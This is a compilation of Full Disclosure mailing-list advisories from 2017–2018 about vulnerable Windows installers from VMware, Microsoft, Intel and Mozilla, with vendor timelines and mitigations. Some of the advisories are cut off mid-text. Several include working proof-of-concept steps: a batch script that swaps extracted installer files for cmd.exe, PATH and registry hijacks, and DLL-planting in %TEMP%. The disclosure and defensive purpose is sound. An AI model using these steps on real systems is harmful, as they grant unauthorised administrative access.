https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 55): escalation of privilege with VMware Player 12.5.9

[Stefan Kanthak]

Hi @ll,

the executable installer of VMware Player 12.5.9, published in
January 2018, available from
<https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>,
is vulnerable.

JFTR: VMware Player 12.5.9 is the last version which runs on
  32-bit Windows, and the last to support older CPUs.


Although running with administrative privileges (its embedded
application manifest specifies "requireAdministrator"),
VMware-player-12.5.9-7535481.exe extracts files UNPROTECTED
into subdirectories of the user's %TEMP% directory for later
execution.
An UNPRIVILEGED process/user running under the same user
account can tamper with these unprotected files between their
creation and their use, resulting in escalation of privilege.


For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> plus
<https://capec.mitre.org/data/definitions/27.html> and
<https://capec.mitre.org/data/definitions/29.html>


Demonstrations/proof of concepts:
~

The POCs work on standard installations of Windows, where the
user account created during Windows Setup is used.

This precondition is typically met: according to Microsoft's
own security intelligence reports, about 1/2 to 3/4 of the
about 600 million Windows installations which send telemetry
data have only ONE active user account.
See <https://www.microsoft.com/security/sir>


A) "escalation of privilege":
-

1. create the following text file in an arbitrary directory:

   --- vmware12.cmd ---
   :LOOP1
   @If Not Exist 
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe" Goto 
:LOOP1

   Copy NUL: 
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\VMwarePlayer.msi"

   :LOOP2
   @If Not Exist 
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe" Goto 
:LOOP2

   Copy "%COMSPEC%" 
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe"

   :LOOP3
   Copy "%COMSPEC%" 
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe"
   If ERRORLEVEL 1 Goto :LOOP3
   --- EOF ---

2. fetch the executable installer VMware-player-12.5.9-7535481.exe;

3. start the batch script created in step 1, then run the executable
   installer: notice the error message from the Windows Installer,
   and the start of the command processor with administrative rights!


B) "denial of service":
---

1. add the NTFS "access control list entry" (D;OIIO;WP;;;WD) meaning
   "deny execution of files in this directory for everyone, inheritable
   to files in all subdirectories" to the user's %TEMP% directory;

2. fetch the executable installer VMware-player-12.5.9-7535481.exe
   and run it: admire the MISLEADING wrong error message
   "The installer could not load a required DLL"!


C) "denial of service":
---

1. create a(n empty) file
   %TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup

2. create the directory C:\VMwareTemp and the (empty) file
   C:\VMwareTemp\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup

3. fetch the executable installer VMware-player-12.5.9-7535481.exe
   and run it: admire the MISLEADING wrong error message
   "Not enough space"!


Mitigations:


1. DON'T use executable installers; stay far away from such
   eternally vulnerable crap!

2. NEVER run executable installers from UNSAFE directories like
   "%USERPROFILE%\Downloads\" or "%TEMP%\"
   DISABLE execution of files (as shown above) in %USERPROFILE%!

3. Practice STRICT privilege separation: use a your privileged
   "Administrator" account (especially the account created during
   Windows setup) ONLY for administrative tasks, and COMPLETELY
   separate unprivileged user accounts, with elevation requests
   DISABLED. for your daily/regular work.


stay tuned
Stefan Kanthak


PS: also see <http://seclists.org/bugtraq/2018/Aug/0>


Timeline:
~

2018-06-03vulnerability report(s) sent to vendor

2018-06-13vendor acknowledged receipt:
  "We will look into this and provide feedback in due course."

2018-06-14vendor replies:
  "It is my understanding that Workstation Player 12.x has
   since reached end of general support (in February of 2018)
   as per our Lifecycle Product Matrix

<https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/support/product-lifecycle-matrix.pdf>."

2018-08-02report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] CVE-2016-7085 NOT fixed in VMware-player-12.5.9-7535481.exe

[Stefan Kanthak]

Hi @ll,

on February 13, 2016, I sent a vulnerability report regarding the
then current executable installer of VMware-player 7.1.3 to its
vendor.

On September 14, 2016, VMware published
<http://blogs.vmware.com/security/2016/09/vmsa-2016-0014.html> and
<http://www.vmware.com/security/advisories/VMSA-2016-0014.html>

I was NOT AMUSED that it took 7 month to fix this beginner's error.


In January 2018, VMware published VMware-player-12.5.9-7535481.exe,
available via <https://www.vmware.com/go/downloadplayer> from
<https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>,
which shows this vulnerability again (plus THREE others), again
allowing arbitrary code execution WITH escalation of privilege!

Apparently VMware's developers haven't heard of regression tests
yet, and their QA (if they have one) seems sound asleep!


On a fully patched Windows 7 SP1, VMware-player-12.5.9-7535481.exe
loads CredSSP.dll, WSHTCPIP.dll, WSHIP6.dll and RASAdHlp.dll from
its "application directory", typically the user's "Downloads"
directory "%USERPROFILE%\Downloads", instead from Windows'
"system directory" "%SystemRoot%\System32".

For this well-known and well-documented vulnerability see
<https://cwe.mitre.org/data/definitions/426.html> and
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html>.


The application manifest embedded in VMware-player-12.5.9-7535481.exe
specifies "requireAdministrator", so any (rogue) DLL placed by the
unprivileged user in the "Downloads" directory is executed with
administrative rights, resulting in arbitrary code execution WITH
escalation of privilege.

CVSS v3 Base Score: 8.2 (High)  CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CVSS v2 Base Score: 7.8 AV:L/AC:M/Au:N/C:C/I:C/A:C


Demonstration/proof of concept:
~~~

1. follow the instructions from
   <https://skanthak.homepage.t-online.de/minesweeper.html>
   and build a minefield of 32-bit forwarder DLLs in your "Downloads"
   directory;

2. download
   
<https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>,
   and save it in your "Downloads" directory;

3. execute VMware-player-12.5.9-7535481.exe: notice the message
   boxes displayed from the DLLs built in step 1!


stay tuned (and FAR away from ALL executable installers!)
Stefan Kanthak


Timeline:
~

2018-06-03vulnerability report(s) sent to vendor

2018-06-13vendor acknowledged receipt:
  "We will look into this and provide feedback in due course."

2018-06-14vendor replies:
  "It is my understanding that Workstation Player 12.x has
   since reached end of general support (in February of 2018)
   as per our Lifecycle Product Matrix

<https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/support/product-lifecycle-matrix.pdf>."

2018-08-01report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 55): new software built with 5.5 year old tool shows 20+ year old vulnerabilities

[Stefan Kanthak]

olset
   <http://robmensching.com/blog/posts/2012/12/24/wix-v3.7-released/>,
   MBAM2.5_X64_Server_KB4340040.exe has the same well-known and well-
   documented vulnerabilities too.

   See <https://www.firegiant.com/blog/2016/1/20/wix-v3.10.2-released/>
   and subsequent security advisories from the creators of Wix toolset.

   Microsofts developers are most obviously UNABLE (or INCAPABLE?) to
   even keep their production environment up-to-date!
   Their managers most obviously don't care too, and their QA seems
   sound asleep.


5. MBAM2.5_X64_Server_KB4340040.exe extracts its payload, the real
   installer, into an UNPROTECTED subdirectory of %TEMP% using the
   hard-coded name "{cf45df76-7d9e-499f-8d93-64ec3ee76e20}" and
   executes it ELEVATED.

   The UNPROTECTED subdirectory allows modification of the extracted
   files between creation and use, resulting in elevation of privilege
   (or denial of service).


   Demonstration/proof of concept:
   ~~~

   a) add the NTFS ACE "(D;OIIO;WP;;;WD)" to your %TEMP% directory;
  the ACE means "deny execution of files in this subdirectory for
  everyone, inheritable to files in all subdirectories".

   b) execute MBAM2.5_X64_Server_KB4340040.exe: notice its SILENT
  failure.

   c) create the following batch script in an arbitrary directory:

   --- kb4340040.cmd ---
   :LOOP
   @If Not Exist "%TEMP%\{cf45df76-7d9e-499f-8d93-64ec3ee76e20}" Goto :LOOP

   Rem Add some more loops here which wait for the creation of files
   Rem to be overwritten, and some copy commands to overwrite them ...
   --- EOF ---

   d) run the batch script, then execute MBAM2.5_X64_Server_KB4340040.exe


Mitigations:


1. DON'T use executable installers; stay far away from such crap!

2. NEVER run executable installers from UNSAFE directories like
   "%USERPROFILE%\Downloads\" or "%TEMP%\"

3. Exercise STRICT privilege separation: use your privileged
   "Administrator" account (especially the account created during
   Windows setup) only for administrative tasks, and a COMPLETELY
   separate unprivileged "standard user" account for your own tasks.


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] [CVE-2018-3667, CVE-2018-3668] Escalation of priviilege via executable installer of Intel Processor Diagnostic Tool

[Stefan Kanthak]

rent working
   directory can be removed from the executable search path:
   <https://msdn.microsoft.com/en-us/library/ms684269.aspx>

   The batch script setup.bat calls setup.exe and setup64.exe
   without a path, so the command processor doesn't find the
   extracted setup.exe and setup64.exe in its CWD and searches
   them via %PATH%.

   %PATH% is under full control of the unprivileged user, who
   can create rogue setup.exe and setup64.exe in an arbitrary
   directory he adds to the %PATH%, resulting again in arbitrary
   code execution with escalation of privilege.

   For this well-known and well-documented vulnerability see
   <https://cwe.mitre.org/data/definitions/426.html> and
   <https://cwe.mitre.org/data/definitions/427.html> plus
   <https://capec.mitre.org/data/definitions/471.html>.


   Proof of concept/demonstration:
   ~~~

   1. start an unprivileged command prompt in an arbitrary
  directory where the unprivileged user can create files,
  for example the user's "Downloads" directory;

   2. add this (current working) directory to the user's PATH:

  PATH %CD%;%PATH%
  REG.exe Add HKCU\Environment /V PATH /T REG_SZ /D "%CD%" /F

   3. copy the command processor %COMSPEC% (or any rogue executable
  of your choice) as setup.exe and setup64.exe into the current
  (working) directory:

  COPY %COMSPEC% "%CD%\setup.exe"
  COPY %COMSPEC% "%CD%\setup64.exe"

   4. set the environment variable NoDefaultCurrentDirectoryInExePath
  to an arbitrary value:

  SET NoDefaultCurrentDirectoryInExePath=*
  REG.exe Add HKCU\Environment /V NoDefaultCurrentDirectoryInExePath /T 
REG_SZ /D "*" /F

   5. execute IPDT_Installer_4.1.024.exe per double-click: notice
  the command processor started instead of the extracted
  executable installers, running with administrative privileges.


#4 Escalation of privilege through DLL search order hijacking
=

   The extracted executable installers setup.exe and setup64.exe,
   built with the crapware known as InstallShield, load multiple
   Windows system DLLs from their "application directory" %TEMP%
   instead from Windows' "system directory" %SystemRoot%\System32\

   To quote Raymond Chen
   <https://blogs.msdn.microsoft.com/oldnewthing/20121031-00/?p=6203>

   | a rogue DLL in the TEMP directory is a trap waiting to be sprung.

   An unprivileged attacker running in the same user account can
   copy rogue DLLs into %TEMP%; these are loaded and their DllMain()
   routine executed with administrative privileges, once more
   resulting in arbitrary code execution with escalation of privilege.

   For this well-known and well-documented vulnerability see
   <https://cwe.mitre.org/data/definitions/426.html> and
   <https://cwe.mitre.org/data/definitions/427.html> plus
   <https://capec.mitre.org/data/definitions/471.html>.


   Proof of concept/demonstration:
   ~~~

   1. follow the instructions from
  <https://skanthak.homepage.t-online.de/minesweeper.html>
  and build a minefield of forwarder DLLs in your %TEMP%
  directory;

   NOTE: if you can't or don't want to build the minefield, download
 <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
 and save it as UXTheme.dll, DWMAPI.dll, NTMARTA.dll and
 MSI.dll in your %TEMP% directory.

   2. execute IPDT_Installer_4.1.0.24.exe: notice the message boxes
  displayed from the DLLs built in step 1!

   NOTE: on a fully patched Windows 7 SP1, setup64.exe loads at
 least the following 32-bit DLLs from %TEMP%:
 UXTheme.dll, Version.dll, NTMARTA.dll and MSI.dll

 Due to its filename, setup.exe additionally loads WinMM.dll,
 SAMCli.dll, MSACM32.dll, SFC.dll, SFC_OS.dll, DWMAPI.dll and
 MPR.dll.


Fix:


1. DUMP all those forever vulnerable executable installers and
   self-extractors; provide an .MSI package or an .INF script plus
   a .CAB archive instead!

2. NEVER use an unqualified filename to execute/load an application
   or a DLL, ALWAYS specify their fully qualified pathname!


Mitigations:


1. DON'T execute executable self-extractors.

2. NEVER execute executable self-extractors with administrative
   privileges.

3. extract the payload of the self-extractor with a SAFE and SECURE
   unzip.exe into a properly protected directory.

4. exercise STRICT privilege separation: use separate unprivileged
   user accounts and privileged administrator account, DISABLE the
   "security theatre" UAC in the unprivileged user accounts.


stay tuned
Stefan Kanthak


PS: the "portable executable" IPDT_Installer_4.1.024.exe has an
export directory, but does NOT export any symbols: both the
numbers of 

[FD] [ADV170017] Defense in depth -- the Microsoft way (part 54): escalation of privilege during installation of Microsoft Office 20xy

[Stefan Kanthak]

Hi @ll,

during installation of Microsoft Office 2003 and newer versions
as well as single components of Microsoft Office products, the
executable of the "Office Source Engine", ose.exe, is copied as
"%TEMP%\ose0.exe" and then executed with elevated privileges.

%TEMP% is writable by unprivileged users, using it to store and
then run vulnerable executables with elevated privileges is a
well-known and well-documented beginner's error:
see <https://cwe.mitre.org/data/definitions/377.html>
and <https://cwe.mitre.org/data/definitions/379.html>.
plus <https://capec.mitre.org/data/definitions/29.html>

JFTR: when a (unattended) installation of Microsoft Office is run
  under SYSTEM account, %TEMP% resolves to %SystemRoot%\Temp\


ose.exe is vulnerable to DLL hijacking: it loads multiple Windows
system DLLs from %TEMP% (its "application directory") instead from
Windows' "system directory" %SystemRoot%\System32\

Dll hijacking is a well-known and well-documented vulnerability:
see <https://cwe.mitre.org/data/definitions/426.html>
and <https://cwe.mitre.org/data/definitions/427.html>,
plus <https://capec.mitre.org/data/definitions/471.html>


Microsoft published plenty advice/guidance to avoid this beginner's
error: <https://msdn.microsoft.com/en-us/library/ff919712.aspx>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://support.microsoft.com/en-us/help/2389418/secure-loading-of-libraries-to-prevent-dll-preloading-attacks>
and
<https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>
... which their own developers and their QA but seem to ignore!


Proof of concept:
~

On a fully patched Windows 7 SP1

1. fetch <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
   and save it as RSAEnh.dll and/or CryptBase.dll in your %TEMP%
   directory.

2. start the installation of Microsoft Office 2010: use for example
   a product DVD or the installers X17-22390.exe/X17-75062.exe
   available from MSDN or (via <http://www.office.com/backup>)
   from <https://go.microsoft.com/fwlink/p/?LinkID=403713>

3. notice the message boxes displayed from the DLLs saved in
   %TEMP%!


stay tuned
Stefan Kanthak


PS: be sure to read

<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170017>
and update your installation media!


Timeline:
~

2017-03-12vulnerability report sent to Microsoft

2017-03-13reply from Microsoft: "case 37732 opened"

2017-05-13query from Microsoft, asking for acknowledgement
  information

2017-05-13sent acknowledgement information to Microsoft

2017-09-30notification from Microsoft:
  "We have completed our investigation related to the fix
   for this issue and will be releasing defense-in-depth
   fix in our Oct patch Tuesday release."

2017-10-16notification from Microsoft:
  "this issue was fixed as-planned on 10/10"

2017-10-16requested information about CVE identifier(s) assigned

2017-10-19reply from Microsoft:
  "no CVE identifier assigned; this is a defense-in-depth
   fix, which we dont consider as vulnerability.
   In this case, ose.exe is operating by-design to search
   the application directory for DLLs. Unfortunately this
   does enable the planting of malicious DLLs in the
   install directory, as you mentioned. Because the behavior
   was by-design, we didn't issue a CVE. We did, however,
   improve product functionality here in order to mitigate
   the issue."

2017-10-19OUCH: no, you did NOT fix this vulnerability!

  On a fully patched Windows 7 SP1, the "fixed" OSE.EXE
  for Office 2010 still loads Version.dll, WinHTTP.dll
  and WebIO.dll from its application directory, and the
  "fixed" OSE.EXE for Office 2013 still loads Version.dll;
  only the fixed OSE.EXE for Office 2016 seems not to be
  vulnerable any more: is has NO load-time dependency,
  only runtime dependencies.

  You also failed to provide fixed installation media!

2017-10-20reply from Microsoft:
  "the Defense-in-Depth fix was to modify the installation
   process to restrict ose.exe such that it only searches
   System folders, and does not search %TEMP% for DLLs or
   load them from this folder."

2017-10-20longer mail about their misconceptions, the difference
  between (implicit) load-time and (expicit) runtime
  linking, and several proposals how to REALLY fix this
  vulnerability sent to Microsoft

2017-10-21reply from Microsoft:
   

Re: [FD] Defense in depth -- the Microsoft way (part 51): Skype's home-grown updater allows escalation of privilege to SYSTEM

[Stefan Kanthak]

"Kevin Beaumont" <kevin.beaum...@gmail.com> wrote:

>I did a fresh install of Win7 Home yesterday and can confirm impacted Skype
> version was offered by Windows Update for install.

Thanks for the confirmation.

See <https://skanthak.homepage.t-online.de/skype.html> for my writeup of
Skype's and Microsoft's epic failures in this case, including my reply
to the false statements of Microsoft's Ellen Kilbourne.

Stefan

> On Tue, 20 Feb 2018 at 18:31, Stefan Kanthak <stefan.kant...@nexgo.de>
> wrote:
> 
>> "Jeffrey Walton" <noloa...@gmail.com> wrote:
>>
>> > On Fri, Feb 9, 2018 at 1:01 PM, Stefan Kanthak <stefan.kant...@nexgo.de>
>> wrote:
>>
>> [ http://seclists.org/fulldisclosure/2018/Feb/33 ]
>>
>> > Not sure if this is related, but:
>> >
>> https://winbuzzer.com/2018/02/14/microsoft-just-killed-skype-classic-response-unfixable-security-bug-xcxwbn/
>>
>> This is of course related: after Zack Whittacker published
>> <
>> https://www.zdnet.com/article/skype-cannot-fix-security-bug-without-a-massive-code-rewrite/
>> >
>> some hundred news outlets, bloggers etc. followed up.
>> Except Zack Whittacker nobody contacted me.
>> Many copied his article, some others added their own and wrong
>> interpretation, even pure fiction, like this "WinBuzz":
>>
>> | Microsoft today squashed a bug that was found in Skype's updater
>> | process earlier this week.
>>
>> Wrong. I reported the vulnerability 5 months ago.
>> And Microsoft WONTFIX this vulnerability in Skype 7.x
>>
>> JFTR: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5720>
>>   also WONTFIX
>>
>> [ pure speculation removed ]
>>
>> | It seems Microsoft found an alternative to rewriting code and fixing
>> | Skype. the company has decided to effectively kill off the classic
>> | app. The older version of Skype is no longer available anywhere as a
>> | download.
>>
>> Really?
>>
>> Microsoft Update still offers the "classic" Skype for Windows alias
>> Skype Desktop Client: on Windows 7 (which still has the largest
>> market share) open Windows' control panel, go to Windows Update,
>> switch to Microsoft Update (if not done before), and find KB2876229
>> "Skype for Windows (7.30.0.101)" beyond the optional updates.
>>
>> For those who don't want to or can not start Microsoft Update:
>> the Microsoft Update Catalog offers this and two older versions too
>> <https://www.catalog.update.microsoft.com/search.aspx?q=kb2876229>
>>
>>
>> In <https://support.microsoft.com/en-us/kb/2876229> Microsoft states:
>>
>> | Skype releases new versions of Skype for Windows throughout the year.
>> | To help you stay current with new functionality| and features of the
>> | Skype experience, Skype is available through Microsoft Update.
>> ...
>> | you will receive the latest version of Skype through Microsoft Update.
>>
>> NO, you DON'T get the latest version of Skype there!
>> And Skype doesn't use Microsoft Update to deliver updates.
>> Microsoft had well over 100 days since they closed MSRC case 40550 to
>> fix this ...
>>
>>
>> stay tuned
>> Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Mozilla's executable installers: FUBAR (that's spelled "fucked-up beyond all repair")

[Stefan Kanthak]

Hi @ll,

since many years, Mozilla tries to beat the crap out of their
always vulnerable executable installers: see for example
<https://bugzilla.mozilla.org/show_bug.cgi?id=579593> alias CVE-2010-3131
<https://bugzilla.mozilla.org/show_bug.cgi?id=811557>
<https://bugzilla.mozilla.org/show_bug.cgi?id=792106> alias CVE-2012-4206
<https://bugzilla.mozilla.org/show_bug.cgi?id=961676> alias CVE-2014-1520
<https://bugzilla.mozilla.org/show_bug.cgi?id=1361326> alias CVE-2017-7755
and the gazillions of duplicates (notice that quite some of these
"duplicates" predate their "original" bug).

Their success?
NONE!
ALL their executable installers are still vulnerable to DLL hijacking!


#1) "Firefox Installer.exe" (digitally signed 2018-01-28) 58.0.1
 is vulnerable to DLL hijacking:

* on a fully patched Windows Embedded POSReady 2009 alias
  Windows XP SP3 it loads at least DWMAPI.DLL (this DLL is NOT
  shipped before Windows Vista)

JFTR: this 306kB "large" program is an UPX-compressed 7-zip
  self-extractor of whopping 394kB size, which contains a
  single "setup-stub.exe" of 406kB size.

  The kids at Mozilla must love to play Matroschka!


#2) "setup-stub.exe" extracted and executed by "Firefox Installer.exe"
is vulnerable to DLL hijacking:

* on a fully patched Windows Embedded POSReady 2009 alias
  Windows XP SP3 it loads at least PROPSYS.DLL (this DLL is NOT
  shipped before Windows Vista) before it displays the message box
  "For Windows 7 and newer only"; after click on [OK] it loads
  RICHED20.DLL from its application directory.


#3) "Firefox Setup 52.6.0esr.exe" (digitally signed 2018-01-19)
is vulnerable to DLL hijacking:

* on a fully patched Windows Embedded POSReady 2009 alias
  Windows XP SP3 it loads at least DWMAPI.DLL (this DLL is NOT
  shipped before Windows Vista)

JFTR: this too is an UPX-compressed 7-zip self-extractor.
  The UPX-compression reduces its size by less than 0.2%

  These kids must REALLY love to play Matroschka!


#4) "setup.exe" extracted and executed by "Firefox Setup 52.6.0esr.exe"
is vulnerable to DLL hijacking:

* on a fully patched Windows Embedded POSReady 2009 alias
  Windows XP SP3 it loads (before it even displays the first
  dialog box; I stopped there, so there may well be more DLLs
  sideloaded) at least WINMM.DLL, SETUPAPI.DLL, MSACM32.DLL,
  UXTHEME.DLL from its application directory, plus PROPSYS.DLL
  (this DLL is NOT shipped before Windows Vista);

* on a fully patched Windows 7 SP1 it loads (before it even
  displays the first dialog box; I stopped there, so there may
  very well be more DLLs sideloaded) at least UXTheme.dll,
  WinMM.dll, SAMCli.dll, MSACM32.dll, Version.dll, SFC.dll,
  SFC_OS.dll, DWMAPI.dll, MPR.dll from its application
  directory.


DLL hijacking is a well-known and well-documented vulnerability
(and a true sign for absolute beginner's at work):
see <https://cwe.mitre.org/data/definitions/426.html>
and <https://cwe.mitre.org/data/definitions/427.html>,
plus <https://capec.mitre.org/data/definitions/471.html>


Since these installers need to be run with administrative privileges
(on Windows Vista and above, the 7-zip self-extractors start the
extracted "setup-stub.exe" and "setup.exe" via RunAs to trigger
WindowsÄ user-account control), the DLL hijacking results in
escalation of privilege.

"setup-stub.exe" and "setup.exe" are extracted to an UNSAFE
subdirectory of %TEMP%, another well-known and well-documented
vulnerability:
see <https://cwe.mitre.org/data/definitions/377.html>
and <https://cwe.mitre.org/data/definitions/379.html>


Fix:


Dump those FOREVER defective executable installers for Windows!
Provide an .MSI, or an .INF script plus a .CAB.

Windows ships since more than 22 years with SetupAPI which uses
.INF scripts, and since about 18 years with the Microsoft Installer.


stay tuned, and FAR AWAY from Mozilla's crap
Stefan Kanthak


Timeline:
~

2018-02-08vulnerability report sent to Mozilla

  no reaction

2018-02-17report published


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Re: [FD] Defense in depth -- the Microsoft way (part 51): Skype's home-grown updater allows escalation of privilege to SYSTEM

[Stefan Kanthak]

"Jeffrey Walton" <noloa...@gmail.com> wrote:

> On Fri, Feb 9, 2018 at 1:01 PM, Stefan Kanthak <stefan.kant...@nexgo.de> 
> wrote:

[ http://seclists.org/fulldisclosure/2018/Feb/33 ]

> Not sure if this is related, but:
> https://winbuzzer.com/2018/02/14/microsoft-just-killed-skype-classic-response-unfixable-security-bug-xcxwbn/

This is of course related: after Zack Whittacker published
<https://www.zdnet.com/article/skype-cannot-fix-security-bug-without-a-massive-code-rewrite/>
some hundred news outlets, bloggers etc. followed up.
Except Zack Whittacker nobody contacted me.
Many copied his article, some others added their own and wrong
interpretation, even pure fiction, like this "WinBuzz":

| Microsoft today squashed a bug that was found in Skype's updater
| process earlier this week.

Wrong. I reported the vulnerability 5 months ago.
And Microsoft WONTFIX this vulnerability in Skype 7.x

JFTR: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5720>
  also WONTFIX

[ pure speculation removed ]

| It seems Microsoft found an alternative to rewriting code and fixing
| Skype. the company has decided to effectively kill off the classic
| app. The older version of Skype is no longer available anywhere as a
| download.

Really?

Microsoft Update still offers the "classic" Skype for Windows alias
Skype Desktop Client: on Windows 7 (which still has the largest
market share) open Windows' control panel, go to Windows Update,
switch to Microsoft Update (if not done before), and find KB2876229
"Skype for Windows (7.30.0.101)" beyond the optional updates.

For those who don't want to or can not start Microsoft Update:
the Microsoft Update Catalog offers this and two older versions too
<https://www.catalog.update.microsoft.com/search.aspx?q=kb2876229>


In <https://support.microsoft.com/en-us/kb/2876229> Microsoft states:

| Skype releases new versions of Skype for Windows throughout the year.
| To help you stay current with new functionality| and features of the
| Skype experience, Skype is available through Microsoft Update.
...
| you will receive the latest version of Skype through Microsoft Update.

NO, you DON'T get the latest version of Skype there!
And Skype doesn't use Microsoft Update to deliver updates.
Microsoft had well over 100 days since they closed MSRC case 40550 to
fix this ...


stay tuned
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 52): HTTP used to distribute (security) updates, not HTTPS

[Stefan Kanthak]

Hi @ll,

yesterdays "Security update deployment information: February 13, 2018"
<https://support.microsoft.com/en-us/help/20180213> links the following
MSKB articles for the security updates of Microsoft's Office products:
<https://support.microsoft.com/kb/4011715>
<https://support.microsoft.com/kb/4011200>
<https://support.microsoft.com/kb/3114874>
<https://support.microsoft.com/kb/4011707>
<https://support.microsoft.com/kb/4011711>
<https://support.microsoft.com/kb/4011690>
<https://support.microsoft.com/kb/4011697>
<https://support.microsoft.com/kb/4011701>
<https://support.microsoft.com/kb/3172459>
<https://support.microsoft.com/kb/4011143>
<https://support.microsoft.com/kb/4011686>
<https://support.microsoft.com/kb/4011682>
<https://support.microsoft.com/kb/4011680>

Alternatively use yesterdays "February 2018 updates for Microsoft Office"
<https://support.microsoft.com/en-us/help/4077965> and all the MSKB
articles linked there, which are a superset of those named above.

Each of these MSKB articles in turn contains one or two links to the
download pages for the updates, which except 2 (of 22) are of the form
<http://www.microsoft.com/downloads/details.aspx?familyid=GUID>
(despite the HTTPS: used for the MSKB articles), ie. they use HTTP
instead of HTTPS, inviting to MitM attacks, ALTHOUGH the server
www.microsoft.com supports HTTPS and even redirects these requests to
<https://www.microsoft.com/downloads/details.aspx?familyid=GUID>!

JFTR: this bad habit is of course present in ALMOST ALL MSKB articles
  for previous security updates for Microsoft's Office products
  too ... and Microsoft does NOT CARE A B^HSHIT about it!


Microsoft also links all the MSKB articles for their Windows security
updates, for example <https://support.microsoft.com/kb/4074595>, in
their "Security update deployment information:  , ".

Allmost all of these MSKB articles as well as those for Microsoft's Office
products (see above) in turn contain a link to Microsoft's "Update Catalog",
which ALL are of the form
<http://catalog.update.microsoft.com/v7/site/search.aspx?q=4074595>
(despite the HTTPS: used for the MSKB articles), ie. they use HTTP
instead of HTTPS, inviting to MitM attacks, ALTHOUGH the server
catalog.update.microsoft.com [*] supports HTTPS!

JFTR: even if you browse the "Microsoft Update Catalog" via
  <https://www.catalog.update.microsoft.com/Home.aspx> [#],
  ALL download links published there use HTTP, not HTTPS!

That's trustworthy computing ... the Microsoft way!


Despite numerous mails sent to <sec...@microsoft.com> in the last years,
and numerous replies "we'll forward this to the product groups", nothing
happens at all.


stay tuned
Stefan Kanthak


[*] catalog.update.microsoft.com is redirected to
catalog.update.microsoft.com/v7/site, which in turn is redirected to
www.catalog.update.microsoft.com/, for both HTTP and HTTPS

CONNECT https://catalog.update.microsoft.com
GET / http/1.1

| HTTP/1.1 302 Found
| Cache-Control: private
| Content-Length: 125
| Content-Type: text/html; charset=utf-8
| Location: /v7/site
| Server: Microsoft-IIS/10.0
| X-AspNet-Version: 4.0.30319
| X-Powered-By: ASP.NET
| Date: Wed, 14 Feb 2018 09:42:51 GMT

| HTTP/1.1 301 Moved Permanently
| Content-Length: 168
| Content-Type: text/html; charset=UTF-8
| Location: https://catalog.update.microsoft.com/v7/site/
| Server: Microsoft-IIS/10.0
| X-Powered-By: ASP.NET
| X-Frame-Options: DENY
| Date: Wed, 14 Feb 2018 09:42:51 GMT

| HTTP/1.1 302 Redirect
| Content-Length: 164
| Content-Type: text/html; charset=UTF-8
| Location: https://www.catalog.update.microsoft.com/
| Server: Microsoft-IIS/10.0
| X-Powered-By: ASP.NET
| X-Frame-Options: DENY
| Date: Wed, 14 Feb 2018 09:42:51 GMT

| HTTP/1.1 200 OK
| Cache-Control: private
| Content-Length: 11135
| Content-Type: text/html; charset=utf-8
| Server: Microsoft-IIS/10.0
| X-AspNet-Version: 4.0.30319
| X-Powered-By: ASP.NET
| X-Frame-Options: DENY
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Date: Wed, 14 Feb 2018 09:42:53 GMT

[#] if your browser attemps to connect to these servers with HTTP/2,
it fails: they use a blacklisted cipher suite with HTTP/2, see

<https://www.ssllabs.com/ssltest/analyze.html?d=catalog.update.microsoft.com>

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 51): Skype's home-grown updater allows escalation of privilege to SYSTEM

[Stefan Kanthak]

Hi @ll,

since about two or three years now, Microsoft offers Skype as
optional update on Windows/Microsoft Update.

JFTR: for Microsoft's euphemistic use of "update" see
  <http://seclists.org/fulldisclosure/2018/Feb/17>

Once installed, Skype uses its own proprietary update mechanism
instead of Windows/Microsoft Update: Skype periodically runs
